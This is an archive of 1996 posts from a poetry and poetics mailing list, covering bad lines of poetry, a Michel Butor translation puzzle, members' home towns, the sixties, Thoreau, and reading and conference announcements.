University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

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494. Ken Edwards
like a bolt of fabric...
Thu 18 Apr 1996

I loved some of those similes. In particular:

"Her vocabulary was as bad as, like, whatever. (Unknown)"

and

"Her date was pleasant enough, but she knew that if her life was a movie this guy would be buried in the credits as something like "Second Tall Man." (Russell Beland, Springfield)"

seem to have some wit about them, but

"Long separated by cruel fate, the star-crossed lovers raced across the grassy field toward each other like two freight trains, one having left Cleveland at 6:36 p.m. traveling at 55 mph, the other from Topeka at 4:19 p.m. at a speed of 35 mph. (Jennifer Hart, Arlington)"

took the top prize for me, for surrealism.

As part of the daily grind, I take in typesetting, including for a rather cheesy poetry magazine. Here's one I encountered just this minute:

He pressurizes the accelerator into submission,
The speedo twitchy as a nervous penis.

Yes, well. A newspaper here has been running a "Which is the worst line of poetry in the English language?" feature. Yesterday's nominations were:

The gay moose in jocund gambol springs
(Joseph Howe, Canadian poet 1804-73)

Irks care the the crop-fed bird
(Browning)

For still, the more he works, the more do his weak ankles swell (Wordsworth)

Any other contenders?

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495. **Michael Boughn**
Re: Place
Thu 18 Apr 1996

> *I've been to Buffalo and frankly*
> *I'm inclined to think everyone on the list lives there and the fact that*
> *there's been nothing in this discussion re-the pros and cons of living*
> *in Buffalo just fuels my suspicions.*

The magic of Buffalo, Wystan, has to do with what John Barth so aptly called the flourescence of decay. It's a bit like living in one of those Romantic English engravings of the ruins of Carthage (in the 1890's Buffalo had the highest per capita income in the US), but without the Romantic part. Call it the American future. In the midst of that is an intense and lively community, like the crystal in the heart of a geode. I suspect the reason you don't hear much about it here is because most of the Buffalo people on this list are in the Poetics programme at UB and fly in to Buffalo from NYC once a week.

Mike
[redacted]

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496. **Joe Amato**
Re: 60's hangovers/place
Thu 18 Apr 1996

just a note to say that those of you interested in discussing the 60s ougtta try tuning in to sixties-l (---and i don't mean to suggest in the slightest that you

shouldn't be discussing same hereabouts!)... i'm not sure what they're talking about these days, but it used to be a great place to chew over precisely the sortsa things talked about here, and w/o necessarily framing it in poetics terms... mebbe ron silliman is still on that list (ron?), i don't have subscription info. handy, but it used to be you subbed through <[redacted]>

for my part, i could sense the dying embers of the counterculture in the early 70s (again, born in '55), but could never have been the protester others of my age were... largely methinks due to my upbringing (democratic-liberal), class situation (first working class, then welfare-class), and on reflection, where i ended up campus-wise (math/engineering) and the circumstances of my particular place in time... but i'm busy in my classes these days trying to argue that the sixties, which for me begin with kennedy's assassination and end with nixon leaving the white house (again, 'nother big discussion about this time-frame on sixties-l---and i'd situate the sixties in toto as part of a more general postwar drift), contain lessons for us about all of the incredibly interesting shit going on today that seems somehow to go unnoticed in mainstream mains and eddies...

anyway//

joe

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497. Bill Luoma
Help with Michel Butor
Thu 18 Apr 1996

---

i wonder if y'all have time to help a hack translator.. I'm working on Michel Butor's Rumeurs de la Foret.

The line i'm puzzled by is

De craquement en craquement je tisse mes virages,
de grincement en grincement j'escalade mes tours.

The poem is a series of one-liners told by a tall tree, chronicalling its life. From the above line, i get the sense the tree is stretching its limbs and cracking its ? what ? lengthy position?

Grammatically i don't understand the "de . . . en" adverbial construction.

help

Bill Luoma

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498. Jeffrey W. Timmons
Re: diu and thoreau
Thu 18 Apr 1996

On Wed, 17 Apr 1996, Mark Wallace wrote:

> *Jeffrey Timmons brought Thoreau's name up in another context, and I think his work is relevant here. But Jeffrey, to see Thoreau's ideas as suggesting either that one should bomb people, or go off into the wilderness to die, is to miss what Thoreau was really about. Thoreau's work was ALWAYS about social critique, and about pacifism too--it was never either about blowing anybody up or running away.*

Mark, of course, you are quite correct. And I agree with you completely. However, what I believe I said was that it is interesting how closely the unabomer's way of living and Thoreau's--at least in Walden--actually were. I think the former, inevitably, grows out of the latter. But, yes, a perversion and a twisted bastardization of Thoreau. But even Civil Disobedience sounds like so much extreme right-wing anti-federalism that it is difficult to distinguish the two. I mean HDT's whole take on the immorality of the government (and the individual's need and right to detach one's self from it) essentially lay the ground work for such retrogressive and reactionary events persons and acts as waco the freemen the unabomber et al.... I'm not saying HDT was a facist. Clearly not. But I am saying that his ideas and praxis are grafted onto an ideology that takes them in a less socially and publicly beneficial direction. I would suggest that Thoreau has, to some degree, been over-taken by contemporary history; and that our reading of him cannot help but be influenced by recent events.

Mark, yes, to see HDT as suggesting we should blow someone up is to miss his point. But I didn't miss it. The unabomber did.

Best,

Jeffrey Timmons

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499. Henry Gould
Re: Help with Michel Butor
Thu 18 Apr 1996

On Thu, 18 Apr 1996 11:06:51 -0400 Bill Luoma said:
> i wonder if y'all have time to help a hack translator.. I'm working on
>Michel Butor's Rumeurs de la Foret.
>
>The line i'm puzzled by is
>

>De craquement en craquement je tisse mes virages,
>de grincement en grincement j'escalade mes tours.

From one hack to another: Butor seems to be working in a lot of puns here: craquement means creaking of treelimbs but also chattering of teeth; grincement means both grating & gnashing. I take "de cracque.. en etc. to be like "de plus en plus", more and more...i.e. "Creaking and creaking..." Virages - plural of virago? Both a virago ("tempestuous or mannish woman" says dictionary) and a catamaran - boat made of lashed logs.

Creaking and creaking I weave my catwomen,
Grating and grating I scale my towers...

- Henry Gould

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500. **Michael Leddy**
Bad Poetry
Thu 18 Apr 1996

You can find bad lines by the score (and whole poems too) in D. B. Wyndham Lewis' anthology The Stuffed Owl. Wordsworth is well-represented and provides the volume's title.

Michael Leddy / Charleston, IL

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501. **Robert Drake**
Re: Help with Michel Butor
Thu 18 Apr 1996

"the crabmeat is crabmeat i teased in mirages,
the mincemeat is mincemeat i've hoisted in garages..."

hop tha heps
lbd

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502. **Daniel Bouchard**
Re: like a bolt of fabric...
Thu 18 Apr 1996

> *Yes, well. A newspaper here has been running a "Which is the worst line of poetry in the English language?" feature. Yesterday's nominations were:*

>>Any other contenders?

———————————

"A terrible beauty is born"
(Yeats)

Ken: Where is "here?"

[redacted]

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503. **Aldon L. Nielsen**
Re: Virgina Cure
Thu 18 Apr 1996

Emily -- which VA suburb was that? I did 3 years in Arlington myself -- slipped away from NY school trip to check out bookstores of Manhattan, which my other trip skippers found an odd preoccupation --

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504. **Jeffrey W. Timmons**
Re: Place
Thu 18 Apr 1996

On Wed, 17 Apr 1996 [redacted] wrote:

> *Its*
> *interesting to gain some sense of the circumstances from which these*
> *postings of ours come. The geography of the net is very abstract,*
> *especially from this side of the world. I've been to Buffalo and frankly*
> *I'm inclined to think everyone on the list lives there and the fact that*
> *there's been nothing in this discussion re-the pros and cons of living*
> *in Buffalo just fuels my suspicions.*

yes. perhaps we could append little bios with our geographic qualifications affliations predilictions prejudices and biases? yes though. it would be good to "ground" our discussions sometimes. place is important. i like the net but theres no substitute for placing ourselves in geography. i dont think the net obliterates it but there is an abstraction that i find as well not always to my taste.

bubbalo? oops. buffalo? i think they have lots of snow there. they make tunnels in it to get to work. they have igloos and cut holes in the ice to fish. right?

> *One of the features I like about the list is when everyone*
> *says what they are reading. So maybe everyone should put themselves on*
> *the map.*

yes thats always fun. though im embarrassed sometimes. usually you folks are reading all these new poets and theory and im deep into the 18th-C since im studying for my comps. im reading or have recently read:

bartrams travels
freneau poems
pope poems
jeffersons notes on virgina
franklins autobiography
shaftesburys characteristics

Let's systematize this thing, let's hear where you all live,
> what's the culture like there?

good idea. i like it. yall?

Maybe we could have a points system which
> would avoid differences such you had with Sheila?

another good idea. but i think the differences are illuminating.

> *I could come up with a lot of shithole*
> *places, in fact don't get me started on the culture of the whole fucking*
> *country ... (excuse me)*

hahahahahaha.... yeah tell me about it. at least i can leave the state and go to another one though.

on a scale of one to ten a desert is most definitely a ten. but it depends upon the size quality and character of the desert. litter and dunebuggies and shot-guns would impede a high rating.

good project though. perhaps we could create a sort of poetics travel guide?

jeffrey timmons

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505. Eryque Gleason
Re: Bad Poetry
Thu 18 Apr 1996

Michael, was the anthology *supposed* to represent the bad lines in poetry, or was it a 'happy' accident?

Eryque

On Thu, 18 Apr 1996, Michael Leddy wrote:

> *You can find bad lines by the score (and whole poems too) in D. B. Wyndham Lewis' anthology The Stuffed Owl. Wordsworth is well-represented and provides the volume's title.*
>
> *Michael Leddy / Charleston, IL*

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506. Jeffrey W. Timmons
Re: minnesota
Thu 18 Apr 1996

---

michelle

yes i agree with you on accretion. but there is also a sense i think of a place being able to define itself for you. theres a cliff on the columbia river (portland oregon) that juts hundreds of feet out and over the river valley. hawks and swallows roll on the wind and you have to keep your body low to the rock because the winds are so strong you may lose your balance. you can see for miles up and down the columbia. the boats and cars and sailboarders tiny and far away. there is no way it cant impress upon you. but yes too it is history or personal associations that really matter.

i guess i have a bias against dallas though. i had a miserable experience there. i mean it had potential but i wasnt ready for it. i had lived in portland for most of my life and dallas is a shocking change. i just remember it didnt have what i felt was any sense of character or even the bohemian attitude i found so attractive and necessary to my own life. i thought utd was too small and insular--though i felt it had great potential especially with its faculty. in general i just didnt know what i was getting my self into and when i found that it wasnt the place for me i left. went back to portland and did my ma there. it was the right thing to do.

i hope you dont think i was being too hard on utd. i could go tell you stories about asu too. each place has its ups and downs though huh?

> *i just got worried cuz you sounded really bummed out to me.*

hey thats nice. i appreciate it. no i think some of us are having fun on this. and its important to me. i think it is important because ive lived for the last two years sort of without a home. my girlfriend lives in dc and i live here and were both from portland. in a sense i have three homes. one i am forced to be in another i go to as often as i can and another i havent been to in nearly two years. luckily im taking my comps may 1 and get to move to dc to do my dissertation and im going to portland to see my family may 12.

thanks for your posts. its really good to talk with you. keep in touch.

best
jeffrey timmons

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507. **Jeffrey W. Timmons**
hang/over
Thu 18 Apr 1996

meaghan

yes i understand your sentiments entirely about being post-1968. im a bit earlier (1964) but i think the sentiment is right: we have lived in the shadow of that era so much that it can be oppressive and frankly somewhat disgusting. especially all the rehash and retro rehash of the period in fashion and music. ug. but i like to make a distinction between the sort of fadishness of its half-life and the unprecedented social upheavals that went on. in too many ways the 60s and early 70s have either been domesticated sanitized or derided in popular culture or been subject to the supposedly moral reformations of its "perversions." i dont know whats worse: blaming the era for its immorality and causing our present ills or coopting its fashions in watered down commercial commodifications. i wish that some of that same questioning and rebellious spirit were more a part of our culture. were in too much of a hurry to distance ourselves from it. the problem in that lies in how quickly were pushing people into a competitive world without suggesting to them that there are options--are at least questions about that world. if nothing else its the 60s that first presented the opportunity to ask those questions on a societal level.

i went to portland state university where there were riots in the early 70s. i wasnt there but i like to consider my time there as somehow connected with that spirit. psu at one point did away with sports i believe. and they were a haven for returning students for mothers with children wanting to pursue education. when i was there (1986-1993?) you could still the lingering residues of this consciousness permeating the place. but increasingly it gave way to homogenization.

the 60s are not my era either. but maybe ive read too much hunter s. thompson. i remember watergate . . . no so much the hearings or anything but i remember watching nixon leave the whitehouse and resigning. not in that order. and i really cant stomach the man. its odd that i have such a feeling since its not my generations concern. but i really cant say how much i resent him. and as for hippies . . . yeah well its not for everyone. i wish life were so easy for me. but its not my path. nor does it seem yours. perhaps your disdain is not so much with the 60s as it is for a cliche of the 60s you see repeated and replayed in them?

i guess my question for you would be: is it the 60s or is it something more ideological you dont care for? and if so what?

jeffrey timmons

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508. **Jeffrey W. Timmons**
Re: 60's hangovers/place
Thu 18 Apr 1996

joe

you said:

> *and i'd situate the sixties in toto as part of a more general postwar drift), contain lessons for us about all of the incredibly interesting shit going on today that seems somehow to go unnoticed in mainstream mains and eddies...*

could you elaborate?

jeffrey timmons

↑ Index

509. **Michael Coffey**
Re: Place -Reply
Thu 18 Apr 1996

i'm rather new to this list, but i feel compelled to remark that it is tiresome to me (and perhaps to others) to hear these long discussions in which so much energy goes into establishing one's superiority over american regional culture, or making specious identifications with parts of the culture deemed to have value. There are fantasies of rebelliion worked out in these impassioned critiques of American society, consumerism, etc., but such easy targets as the mainstream or the predelictions of the local folks hardly requires celebration when they are hit. Better, wouldn't it be, to see beyond or beneath the cultural bric-a-brac, and to do so in a discourse that is beyond or beneath it as well. Perhaps what is liberating about conversations in this medium is the lack of geographic reference it has; let's enjoy it, not rush to find out where everyone is from and whether or not they can feel proud of the town they chose, or feel heroic in their cussing of a town that chose them.

Not all the world loves poetry; that doesn't make it any better, or anyone braver.

Discussions of what we are reading seems innocent enough, but that sounds like it would devolve into the same syndrome of self-enobling. Are people not doing their work?

↑ Index

510. Emily Lloyd
Re: Virgina Cure
Thu 18 Apr 1996

At 10:42 AM 4/18/96 -0700, Aldon L. Nielsen wrote:
>Emily -- which VA suburb was that? I did 3 years in Arlington myself --
>slipped away from NY school trip to check out bookstores of Manhattan,
>which my other trip skippers found an odd preoccupation --

I'm in Fairfax, now...spent much of childhood in a Waynesboro trailer park, tho. Bingoing & dancing in a square. :) em

~~~
~~~

Eryque,

Hello. Yes, it's a wonderful book, complete with Max Beerbohm illustrations and a hilarious index. It used to be available in pbk (I found my copy in a used bookstore), may still be, and would certainly be in many libraries. (I wish I had it at hand to quote from--I'll bring it in to "school" and send in some selections.)

MIchael Leddy / Charleston, IL

↑ Index

513. Daniel Salmon
Re: like a bolt of fabric...
Thu 18 Apr 1996

At 12:56 PM 18/04/96 EDT, you wrote:
>>>Yes, well. A newspaper here has been running a "Which is the worst line of
>>>poetry in the English language?" feature. Yesterday's nominations were:
>
>>>Any other contenders?
>_____
>
Black is the colour of the masters hall
Where all the colours met; he is the head,
For mauve is tame, magenta badly bred,
Purple and brown to languid vapours fall,

...usw

o. n. gillespie (nz)

↑ Index

514. Louis Cabri
Re: Help with Michel Butor
Thu 18 Apr 1996

To me it's not evident from the lines that they are about a tree, the trees, Tree.... However, thought of as a riddle when you know the answer, their give-away of their purported object is in the metaphorical suggestion of an upwards direction in "escalade" and "tour." Even that is inverted in the order of the lines (they're in the second line). "Tisse" and "virages" can contrastively, then, suggest a rhyzomic spreading out, 'winding my way' like branches and leaves, or roots. The lines are everywhere bulked-up with synonymic and connotative ambiguity. There's also a pun with "tour" as it can also mean 'turn' (i.e. "virage").

The big diff between "grincement" and "craquement" in their context to me is the phonic associations of the consonants (g and k). Just noodling, Louis

↑ Index

515. Dodie Bellamy
Norma Cole/Rodrigo Toscano Tonight!
Thu 18 Apr 1996

Yes, Small Press Traffic now has e-mail!

Small Press Traffic and the Poetics Department of New College
present O Books authors
Norma Cole and Rodrigo Toscano

TONIGHT
Friday, April 19, 7:30 p.m
at the New College Theater
777 Valencia Street, SF, $5.00

San Francisco's own Norma Cole is the author of two new books, Moira (O Books) and Contrafact (Potes and Poets).

Rodrigo Toscano had two new books coming out: The Disparities (Sun & Moon/O Books) and Arbiter. He lives in San Diego.

"Blessed are the forgetful" we did
love that place. speculate. what other
work could mirrors be doing? I remind you
of our childhood together. and of
the pick-axe of examination. you don't
want that to be
stranger. tell you
the waiting.

-from Norma Cole's "Rosetta"

More causality from the Persian Gulf.
Become that. And with the camcorder-saw?
Elsewhere (through this port-town) S-sifted what?
Refocus it: whose year, clock? Then frames come-
Some signs forged there? No. But with raw urge, knew
In filming dusk's clouds (feel universal)
Xtra premium or just regular.

-from Rodrigo Toscano's "Circular No. 6"

↑ Index

516. **William M. Northcutt**
bad poetry
Fri 19 Apr 1996

Bad poetry? I've always thought that anything by Milton is as bad as pint of buttermilk left out in the desert during a day as hot as the sun which is as round as a wet beachball rolling around in the sand, so that it's colour changes to a yellow the colour of buttermilk left out in the desert during a day as hot as Milton's hell.

↑ Index

517. **Eryque Gleason**
Re: bad poetry
Fri 19 Apr 1996

William, thanks for that litlte ditty :) Stanley Fish is talking here soon, would you like me to share it with him?

Eryque the red

On Fri, 19 Apr 1996, William M. Northcutt wrote:

> *Bad poetry? I've always thought that anything by Milton is as bad as pint of buttermilk left out in the desert during a day as hot as the sun which is as round as a wet beachball rolling around in the sand, so that it's colour changes to a yellow the colour of buttermilk left out in the desert during a day as hot as Milton's hell.*

↑ Index

518. **Henry Gould**
Butor blues version
Fri 19 Apr 1996

Butor Blues

(Paul Butorfield version)

From <snap> to <snap> <snaps fingers into microphone> I bend my ways, baby... From squeal to squeal <5-min. harmonica break> I tree my tour...

<30 min. Indian raga>

↑ Index

519. **Joe Amato**
Re: 60's hangovers/place
Fri 19 Apr 1996

jeffrey, for example: i really think the changes that have taken place in south africa over the past decade are, well, kinda earthshaking (and i'm not reading it all 'one way')... yet my sense is that there seems to be little active awareness in many of our public fora here in the u.s. that what's going on there really *should* be something we're paying attention to closely, something to get excited about i mean... in fact, just 'paying attention to' would be just fine---in the same way that 'we' paid attention to many of the more notable events of the sixties... i mean not only teachers, but students... and since i teach, i can attest to most of my students' lack of interest in such stuff in general---and most important is that IT'S NOT THEIR FAULT...

what's needed methinks is not some 'return' to the past, to 'basics,' to the sixties, or to compulsory heterosexuality... i often wonder whether, with the advent of cnn and such, citizens in this country (we are citizens, aren't we?) aren't simply inured to significant news... yknow, the moment passes, and---?... but in fact i rather think it's more the case that we've (in this country now, and wrt popular opinion) given up on significance as such... and i believe there are systemic reasons for this, this suits certain powers-that-be & wanna-be...

another significant event, one that more americans should be more aware of, and more up-in-arms over, is the savings & loan scandal from the 80s... but again, there's such complacency and cynicism out there that whatever resistance is being mounted to such shenanigans goes unnoticed---and there are certainly many, many folks in the u.s. working hard to counter such injustices, for all anybody knows and in sheer numbers, as much of a 'counterculture' in this sense as there was during the sixties... albeit a counterculture in such terms perhaps must exhibit more solidarity, and be something of a media event if it's to go noticed as such (abbie hoffman was good at this)... and like, you need a politically-motivated culture to have a counterculture (ok, so i'm trying to be hip here)...

i'm pointing my fingers in many directions, yes, b/c the problems are in my view very much a matter of various institutional incorporations... and i'd say that this has to be understood in terms of local-global contingencies...

i hope i'm making some bit of sense here... history is unfolding right before our very eyes, not back there someplace...

best,

joe

↑ Index

520. Schuchat
Re: bad poetry
Fri 19 Apr 1996

I don't want to restart a now dormant thread and would not call the author of this line a bad poet but I have always for some reason found

I dug the ell-square pitkin

hysterically funny, and since it is not meant as such, it would meet certain definitions of bad poetry (though its embedded in a nice piece of writing, Canto I)

↑ Index

521. Karen or Peter Landers
Re: Place
Fri 19 Apr 1996

Hi all,

info about place and what we're reading...

Rochester is 70 miles east of Buffalo. There are plenty of poets here who think of this community as separate from Buffalo. I've postponed my reading of James Joyce because I want more a American language right now. I'm reading Charles Olson, _The Maximus Poems_ again, can't seem to get enough of this book. For me the shadow of Buffalo is welcome. Long live Albright-Knox! Big hugs to all at EPC. :-)

When Joel Oppenheimer was visiting (about 10 years ago?) he put on a reading, inviting local poets including _yours truly_ to read. What makes a poetic local? I don't know. _The Maximus Poems_ are chiefly set in Gloucester. I have no such writing about Rochester... As I look at this copy center of the world, I don't see anything particularly worth writing about it. I know some "postmodernists" wo want to immortalize their hometowns, to me that's just another copy. And to say that _The Maximus Poems_ are "local" is a joke. Gloucester is the point where Maximus stands, but his view is outward (mostly).

Peter Landers

↑ Index

522. Michael Leddy
Bad Poetry
Fri 19 Apr 1996

A fly that up and down himself doth shove.

Wordsworth, "To Sleep"

Dust to dust, and ashes to ashes,
Into the tomb the Great Queen dashes.

Unidentified poet on the death of Queen Victoria

from The Stuffed Owl

↑ Index

523. Pierre Joris
Heidegger & Celan essays
Fri 19 Apr 1996

The following two essays are now available on my author's page at the EPC-Buffalo:

* Heidegger, France, Politics, The University
* Celan/Heidegger: Translation at the Mountain of Death

Three weeks ago, after a discussion of Pound, Heidegger, fascism, etc., I had mentioned these essays & there ensued many backchannel requests asking for copies. The essays were too long to be posted easily on the list, so I thought it best to stick them in the author's page. Apologies to all those backchannelers for not answering every request, & apologies for the slowness of this process, but things are somewhat hectic around here these days. & many thanks to Loss for his indefatigable devotion. I hope some of you may still be interested in the pieces, &, obviously, any commentaries are welcome, front- or back-channel.

Pierre

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]|
==========

↑ Index

524. Ken Edwards
like a bolt of fabric...
Fri 19 Apr 1996

"Ken: Where is "here?"

[redacted]"

Sorry, Daniel. Here is London. England, that is. Not Minnesota, anyway.

↑ Index

525. **John Geraets**
Re: Anthologies
Fri 19 Apr 1996

Wystan (& Listers),

You and others have clearly made a good job out of what's been a pretty shoddy NZ poetry anthology project from the start.

Not exactly what kinds of response you seek, as if there's some universal to reflect on the local in the production of anthologies, especially national poetry ones? Decency, professionalism--of course, yes.

For me, the shambles you talk of brings back to me what I pretty well knew and that is that the need for--possibility of--national collectives, anthologies whatever which represent _the_ culture are behind us, stillborns throughout. I say this as a Kiwi and a literary person.

Stupidity in literary affairs is hardly a NZ phenomenon alone.

The underlying problem is the political economic one. The recognitions, space provided, university course enrolments, Oxford's profitability, a representations of a form of power. For me it's dead politics.

The paper anthology is culturally and technologically an outmoded form. Wystan's posting itself confirms this.

All of the poetry written in NZ or in some distinguishable kind of way connected witht hat "geometry" could fit onto one of the CD ROMs that I clip inot my pc and is about 1-2 mm thick and some centremetres across. The rest is a failing economics and continuance of power.

Give the literary students CD ROM access, give them the lattitude that I'm sure they can use, even canonization or other ratings systems can be easily included I'm sure.

It's probably history doing this to the anthology as much as or more than its three editors and unsuspecting contributors (not that that should get them off the hook!)

Thargo, best,

John Geraets

↑ Index

526. **John Geraets**
Re: Place
Fri 19 Apr 1996

Tom,

The only places you really miss are those places you're outside of. Mucks up the scoring of where you are too.

Me, I miss where you are,

John

↑ Index

527. **Peter Larkin**
Michel Butor
Fri 19 Apr 1996

Rhyzomic spreading out, yes, but the above-surface tree might be incorporated in a counter-image ("tree" is generally contrasted with "rhyzome"). There can be a sense in the "de...en" construction of linear descent, legacy or hierarchic election, as in "de pere en fils". Does one grincement give birth to another,the repeated term rendered non-identical by virtue of its organic descent. The turning/arising pun in "tours" would then bend ascent into descent.

Peter Larkin Philosophy & Literature Librarian
University of Warwick Library,Coventry CV4 7AL UK
Tel:01203 524475 Fax: 01203 524211
Email: [redacted]

↑ Index

528. **Peter Larkin**
Michel Butor
Fri 19 Apr 1996

In the cause of over-interpretation I would offer this very free translation:

From snap of snap my bends woven
Down squeal off squeal my turns risen

Peter

Peter Larkin Philosophy & Literature Librarian
University of Warwick Library,Coventry CV4 7AL UK
Tel:01203 524475 Fax: 01203 524211
Email: [redacted]

↑ Index

529. Loss Glazier
Live from the Duncan Conference
Fri 19 Apr 1996

In full swing right now under the fairest weather anyone has seen around here in many months, the Duncan conference. A gathering that is great in spirit, good talk, people from all over, with Creeley's kind presence as MC.. So far (quickly) some highlights include a performance of Adam's Way (directed by Nick Lawrence) and Marjorie Perloff and Nat Mackey's papers--plus the knock-out reading last night by Susan Howe and Nate Mackey. Some good discussion on the relation between poetry and politics and on Duncan's correspondence and eventual criticism of and break with Levertov. Close readings and immensely rich discussion. It's not a huge gathering but the spirit of folks is really great to behold. Books for sale, too, show the range of readings here available. Talking Leaves present and there are also two wonderful special editions of Duncan prepared by Joel Kuszai (Meow Press) and Charles Alexander. Well, this is just a brief report while on lunch break. The next panel--Blaser, Howe, McGann -!- then tonight a reading by Blaser and Michele Leggott... It certain respects it's *the possibilities of reading* that Duncan suggests that no climate can surpress. A terrific gathering! All in all this will be a short conference (tomorrow's the last day) but it has begun with a momentum and clarity of composition that is burning as brightly as this clear, piercing, I-caught-you-by-surprise spate of Lake Erie spring.

↑ Index

530. Henry Gould
Joris/Celan essay
Fri 19 Apr 1996

Pierre Joris, was hoping to backchannel but can't find your address. Enjoyed your essay on Celan/Heidegger. Possibly another context for the "star in the well" image is Mandelstam's poem "Washing up in the courtyard", with the image of the star in the barrel. This poem appears to present a kind of turning pt for M. toward a more bleak/tragic comprehension of his personal fate in the face of persecution. The emphasis on wood/logs/hut is relevant to several M poems in which he links Tsarist & soviet oppression to to Russian folktales - there is the key late poem (about Stalin?) about the giant in his cave in the mountain. Your mention of the connection between "orchis" and "mandel-" might relate to this too, as is the "man whose name was written in the book" before him (the book of heaven as in Apocalypse?). Could the "man who leads" and the "one who listens" refer to Heidegger & Mandelstam respectively? & the "omega" - orchis & orchis - as in Osip & Osip (M. confronting his evil double Stalin vis-a-vis Celan/Heidegger on a different level). For listeners-in who

might find all this far-fetched, Celan translated Mandelstam & seems to have felt a deep kinship.

These are just shots in the dark. Yr command of the etymologies is impressive. Have you read the Felstiner book - he deals with this poem also. - Henry Gould

↑ Index

531. **Daniel Bouchard**
Re: Live from the Duncan Conference
Fri 19 Apr 1996

"If I had my way
I'd shuffle off to Buff-a-lo. . . "

- John Fogerty

↑ Index

532. **henry gould**
Re: contrasimilitudinal
Fri 19 Apr 1996

On Fri, 19 Apr 1996 13:41:15 CST David Baratier said:
> The value of "the language of critics" deals with trying to gain
> acceptance of certain writers as cannoical who would not be admitted
> otherwise, without the language of power. As a perfect example, I
> offer Patchen's exclusion from the beats because he was the progenitor
> of the movement, that his recordings in the 30's of poetry over jazz
> (Mingus) would have made the beats old hat, moldy news during their
> discovery and exposure in the fifties. The beats are a marketing
> strategy created by Time magazine. Try to publish a book on a
> university press on that subject without using critical methodology
> and see how seriously its taken in academia. Or a book on Patchen at
> all.

Second the motion. & Vachel Lindsay in some ways makes Patchen look like a sleepy dreamboy, even though (sadly) he didn't like jazz. - Henry Gould

↑ Index

533. **David Baratier**
contrasimilitudinal
Fri 19 Apr 1996

Steve Derrida's assertion of being interested in "crossing the boudaries" hits me as a catch-phrase, along the lines of say: multiculturalism. While

Derrida himself is interested in possibilities of language investigation, by polarizing his investigation to address either binary of two chosen categories we are given a fraction of the elements involved. Why else would he valorize "crossing the boundaries"?

The following paragraph, which I wrote earlier:

> The investigation of language does not have a designated power, one where each exponent degree is voiced purely by philosophy and/or poetry. A degree isn't necessary, in language-polarity for example,
> > the suffix "-gate" has a negative connotation due to media uses and
> > then the public can talk about this newly minted word. After a few years of using this suffix to the point of saturation, a poll company, such as Gannet, determines that the public has grown tired of this suffix, that white-gate has extrapolated meaning beyond the economic life-span curve of product unit-value. So "-gate"is statistically quantifyable and investigated in terms of mathematical lingo. This is just one example alternate conduits for language investigation. One consolation: I have heard that recently Gannet has been able to hire philosophers for this process in areas where the economy has disappeared such as Albany and Youngstown.

This was meant to be one facet of the ignored areas of investigation. This is not a defense or an attack of the critic/poet (and your inclusion of pollster) or any other constituent parties: its called an allegory.

The value of "the language of critics" deals with trying to gain acceptance of certain writers as cannoical who would not be admitted otherwise, without the language of power. As a perfect example, I offer Patchen's exclusion from the beats because he was the progenitor of the movement, that his recordings in the 30's of poetry over jazz (Mingus) would have made the beats old hat, moldy news during their discovery and exposure in the fifties. The beats are a marketing strategy created by Time magazine. Try to publish a book on a university press on that subject without using critical methodology and see how seriously its taken in academia. Or a book on Patchen at all.

Be Well.

David Baratier

↑ Index

534. **Daniel Bouchard**

poetry and audience in the nation

Fri 19 Apr 1996

---

from THE NATION (April 29, 1996)

"How do the new performance poets stack up against American poets of earlier generations? Some say spoken poetry is all well and good, but it doesn't work on the page. Nor, they say, will it stand the test of time. Forty years ago that argument was made about Beat poetry. But "Howl" has lasted. Homer was an out-loud poet; Shakespeare wrote his best verse for the stage. Closer to home, there's Walt Whitman, who wrote an out-loud, shout-it-from-the-rooftops poetry if there ever was one. "Of course, the new poets aren't on that level. Many are relatively young and they're just finding their audience. They are, however, the first postwar American generation of poets to reach successfully past a relatively small circle. How that experience will change their poetry and how their poetry will change us remains to be seen- and heard.

- Mona Molarsky

_____

For all the useful political and social commentary that I get from THE NATION, I think that it may do just as much damage to the arts as TIME and NEWSPEAK.

Still, Mona Molarsky claims to have been on the poetry scene in America for 25 years. I can't rebut her findings about poetry and audience firsthand but I know some of you can. And since some posts have dealt with the 60s recently anyway, and Poetry and Audience was a good topic at the recent NYC Poetry Chats, I want to ask those of you who know some history about this to enlighten and share with us younger folks.

I've heard that protests against the American invasion of Viet Nam had a lot to do with large audiences in the late 60s/ early 70s. What else? How have American poetry audiences- audiences at actual readings- changed or evolved over the past few decades?

Don't make me take Mona's word for it. I like to accumulate a wide range of opinions to doubt.

[redacted]

↑ Index

535. **Louis Cabri**
Re: Michel Butor
Sat 20 Apr 1996

rhyzomic reading out of town? yes burping bovines under trees might be a counter-image, Eritrea's dry scapes contrasted with rye fields, but "here" can have a pheasant-like den construction, linear pee-hole in the corner, a descending legacy for cubist hierophants - as in "deeper filtration, please, every grincement births its repeated term non-identical to virtue." Organically scented part-whole relationships in the language of puns tours the would-then bends in ascent: University of Warwick, we are Yvor Winters: I am a tree, please pee on me.

↑ Index

536. **Aldon L. Nielsen**
Re: Patchen & Mingus
Sat 20 Apr 1996

What's this about Patchen & Mingus in the 30s? Ref. please . . .I know Mingus was playing professionally by age 16, but I missed this one -- tell me more --

by the way -- I HAVE heard recording of V. Lindsay, and I don't really see him as that much more impressive than Kerouac et al -- Next we'll be hearing that Edwin Markham was the real pioneer in performance poetry

(did ya know his "Man with the hoe" was the inspiration for RAP?)

I'd be willing to bet Patchen & jazz better listening than Rexroth & the Cellar crew --

"Who killed poetry & jazz? You did, you in your seersucker shades"

↑ Index

537. **JOEL LEWIS**
Re: poetry and audience in the nation
Sat 20 Apr 1996

I first found an article about the bright new worlds of poetry in NATION a bit odd, given that NATION publishes such boring poetry.

The Vietnam era really created an explosion of poets all over--coming of age in a local poetry scene in North Jersey in the late 70's, there were hundreds coming to local readings. I think that Nation piece decided that the creaking mainstream of the 70's and 8o's was, for all intent, POETRY for that era.There was so much going on in the left-of-center poetries & still is. Joel Lewis

↑ Index

538. **Herb Levy**
Re: poetry and audience in the nation
Sat 20 Apr 1996

I thought of something along these lines about a month ago when the Nation ran a
good interview/ article about composer/instrumentalist Marty Ehrlich, followed
by an,
as usual, insipid poem by someone I can't remember. What made this particularly
ironic & painfully stupid, was that they could instead have made an
inspired editorial move by including a poem by Ehrlich's wife, Erica Hunt. But
then Santoro, the "non-classical" music critic for the Nation, is
simply generally more progressive than the mag's literary views.

Oh, well.

